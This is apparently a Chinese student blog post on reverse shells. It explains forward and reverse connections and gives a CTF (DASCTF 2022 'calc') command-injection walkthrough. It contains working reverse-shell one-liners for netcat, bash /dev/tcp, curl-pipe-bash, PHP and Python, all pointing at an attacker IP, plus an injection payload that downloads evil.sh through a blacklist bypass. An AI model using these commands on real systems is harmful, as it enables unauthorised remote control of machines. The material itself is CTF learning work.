关于反弹shell的一小点知识
参考自
首先什么是shell
shell
可以先粗略的理解为一种命令行终端
,具体的细节我会在下一个博客中补充
关于反弹shell
在一些实际环境当中,Linux
的系统环境(沙盒环境)
是非常常见的,让Linux
反弹一个shell
也是很常见的一种攻击方式
反弹shell
的定义:攻击机
监听在某个TCP/UDP端口
为服务端,目标机
主动发起请求到攻击机监听的端口,并将其命令行的输入输出
转到攻击机
(可以理解为你获得了目标机的一些控制权,控制了这个目标机的shell
然后读取这个shell里面的一些文件,拿来吧你)
即为客户端
和服务端
两者之间的角色互换了
反弹shell
是一种反向连接
,那么先说一下正向连接
是什么东西
关于正向连接
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接
。远程桌面
、web服务
、ssh
、telnet
等等都是正向连接
。(即由攻击机
向目标机器
主动发送请求)
(可以大致的理解为正向代理
和反向代理
之间的关系)
关于反向连接
反弹shell会应用到一些比较特殊的情况当中
目标机
因防火墙
受限,目标机器只能发送请求
,不能接收请求
目标机
端口被占用- 标机位于局域网,或IP会动态变化,攻击机无法直接连接
- 对于
病毒
,木马
,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的
反弹shell
对于以上这几种情况都是很有用的,反弹shell
有很多种方式,比如目标主机上如果安装有netcat
,那我们就可以利用netcat
反弹shell,如果具有python
环境,那我们可以利用python
反弹shell。如果具有php
环境,那我们可以利用php
反弹shell
这里就总结(参考)一下常见的反弹shell
的方式吧
利用netcat反弹shell
攻击机
开启本地监听
1 | netcat -lvvp port |
目标机
主动连接攻击机
1 | netcat 攻击机的ip 本地监听的port -e /bin/bash |
这个-e /bin/bash
解释一下:-e
后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash)
(这个本地shell是目标机自己的shell)
实验效果如下

利用bash反弹shell
这里拿一道2022的dasctf三月春季挑战赛calc这道题来复盘实验一下
题目的源码如下
1 | #coding=utf-8 |
这是一个用python
写的后端,当时做这道题的时候根本不知道要干什么,比赛结束后和学长交流了一下
重点的部分在这里
1 | log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num) |
这个log
语句的意思是输出一段内容到/tmp/log.txt
当中,估计是会生成一个日志
这里的num
是你可以控制的参数,而且num
会在执行之前被waf
当中的blacklist
检查,这样的话,就得绕过检查了
不过这个blacklist
的过滤比较严格,想利用eval
函数的话恐怕不太可能
但是这下面还有一个os.system(log)
,我去了解了一下,这个os.system
会在一个Linux
的shell
里面执行log
的代码,看来是不完全属于python
的一部分,这个地方是可以利用的
要怎么利用呢?这个时候可以使用bash
来反弹shell
1 | bash -i >& /dev/tcp/攻击者的ip/攻击者设置的监听端口(port) 0>&1 |
解读一下这个命令
bash -i
:可以产生一个bash
的交互环境>&
:将将联合符号前面的内容与后面相结合,然后一起重定向给后者/dev/tcp/
:攻击者的ip/攻击者设置的监听端口(port):让目标主机与攻击机47.xxx.xxx.72
的2333端口
建立一个tcp连接
0>&1
:将标准输入
与标准输出
的内容相结合,然后重定向
给前面标准输出
的内容
这个0>&1
是什么意思可以举一个例子
假如你在一个shell
里面输入一句命令
,这个命令就是标准输入
,回显的内容就是标准输出
,这里的话就是,输出回显的内容包含了你的输入命令而已
原本可以直接用上面这个命令打的,但是&
被过滤了不能用……
还有一个地方就是
1 |
这里的payload构造得是/calc?num=xxx
的形式
参考了一下Summ3r学长的思路(Summ3ryyds)
1 | 1+1#`wget\thttp://xxx.xxx.xxx.xxx:60056/evil.sh` |
wget
可以在shell
里面来远程下载一个文件
bash
运行此.sh
脚本
#
在python
里面是注释符的意思,实际效果就是python
执行了1+1
这段命令,所以不会报错且不会触发黑名单,但是在shell
里面就不一样了——反引号``当中的内容会被识别且优先执行其中的命令,所以命令就这样成功地执行了,而且空格也被过滤了,但是可以用\t
(制表符)代替,注意要对#
和\t
这两个符号urlencode一下,不然url里面输不进去的
注意一个问题,你监听的端口需要在安全组的规则
当中添加这个端口,不然弹不了shell
还有一些细节……
先开启一个端口监听
但是在bash
运行我的sh
文件的时候并没有成功,后面发现一个nc
在一次完整的请求处理过程当中(拥有客户端向服务端发送请求,服务端向客户端发送回应这两个过程)只能处理一个请求,不能同时被多个请求占用
上述的情况当中,并没有回应这一过程,就相当于这个过程是被“卡住的”,所以要手动结束这个过程
用ctrl+c
,然后再nc
一次即可
还可以使用python
开启一个静态资源的服务器,可以以此查看日志等信息,得知wget
是否成功下载了我的.sh
文件
Curl配合bash反弹shell
在攻击者vps
的web目录
里面创建一个index文件
(index.php或index.html),内容如下
1 | bash -i >& /dev/tcp/ip/port 0>&1 |
开启端口监听
然后在目标机上执行以下命令
1 | curl ip|bash |
ip可以为任意格式(十进制、十六进制、八进制、二进制)
php脚本反弹shell
需要目标主机有php
环境
攻击机开启本地监听
1 | nc -lnvp port |
目标机主动连接攻击机
1 | php -r '$sock=fsockopen("47.xxx.xxx.72",2333);exec("/bin/sh -i <&3 >&3 2>&3");' |
python反弹shell
需要目标主机有python
环境
1 | nc -lnvp port |
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
但是针对于这道题来说,blacklist
的存在导致这2个方法都不能用了
之后还有其他的方法再总结吧,先总结到这里了……